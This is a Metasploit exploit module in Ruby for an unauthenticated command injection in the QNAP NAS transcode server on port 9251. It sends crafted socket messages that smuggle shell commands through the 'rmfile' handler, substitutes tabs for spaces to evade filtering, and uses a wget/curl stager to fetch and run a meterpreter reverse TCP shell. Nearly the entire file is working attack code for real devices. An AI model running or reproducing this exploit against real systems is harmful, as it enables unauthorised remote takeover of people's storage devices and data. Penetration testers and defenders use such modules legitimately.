QNAP Transcode Server Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'QNAP Transcode Server Command Execution',
      'Description' => %q{
        This module exploits an unauthenticated remote command injection
        vulnerability in QNAP NAS devices. The transcoding server listens
        on port 9251 by default and is vulnerable to command injection
        using the 'rmfile' command.

        This module was tested successfully on a QNAP TS-431 with
        firmware version 4.3.3.0262 (20170727).
      },
      'Author'     =>
        [
          'Zenofex', # Initial vulnerability discovery and PoC
          '0x00string', # Initial vulnerability discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'License'    => MSF_LICENSE,
      'Platform'   => 'linux',
      'References' =>
        [
          [ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
          [ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
        ],
      'DisclosureDate'  => 'Aug 6 2017',
      'Privileged'      => true,
      'Arch'            => ARCH_ARMLE,
      'DefaultOptions'  =>
        {
          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
        },
      'Targets'         => [['Automatic', {}]],
      'CmdStagerFlavor' => %w{wget curl},
      'DefaultTarget'   => 0))

    register_options(
      [
        Opt::RPORT(9251),
        OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
      ])
    deregister_options 'cmdstager::decoder'
  end

  def check
    vprint_status 'Connecting to transcode server...'

    connect
    sock.put "\x01\x00\x00\x00"
    res = sock.get_once

    if res.blank?
      vprint_status 'No reply from server'
      return CheckCode::Safe
    end

    vprint_status "Received response: #{res}"

    return CheckCode::Detected if res.to_s =~ /client's request is accepted/

    CheckCode::Safe
  rescue ::Rex::ConnectionError
    vprint_error 'Connection failed'
    return CheckCode::Unknown
  ensure
    disconnect
  end

  def execute_command(cmd, opts)
    # Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
    # Execute each command seperately
    cmd.split(';').each do |c|
      connect
      vprint_status "Executing command: #{c}"

      # Replace spaces with tabs
      c.tr! ' ', "\t"

      sock.put "\x01\x00\x00\x00/|#{c}|\x00"
      res = sock.get_once

      unless res.to_s =~ /client's request is accepted/
        print_status 'Unexpected reply'
        break
      end

      print_status "Sent command successfully (#{c.length} bytes)"

      disconnect

      if c =~ /^(curl|wget)/
        print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
        Rex.sleep datastore['DELAY']
      end
    end
  rescue ::Rex::ConnectionError
    fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
  ensure
    disconnect
  end

  def exploit
    vprint_status 'Connecting to transcode server...'
    execute_cmdstager linemax: 400
  end
end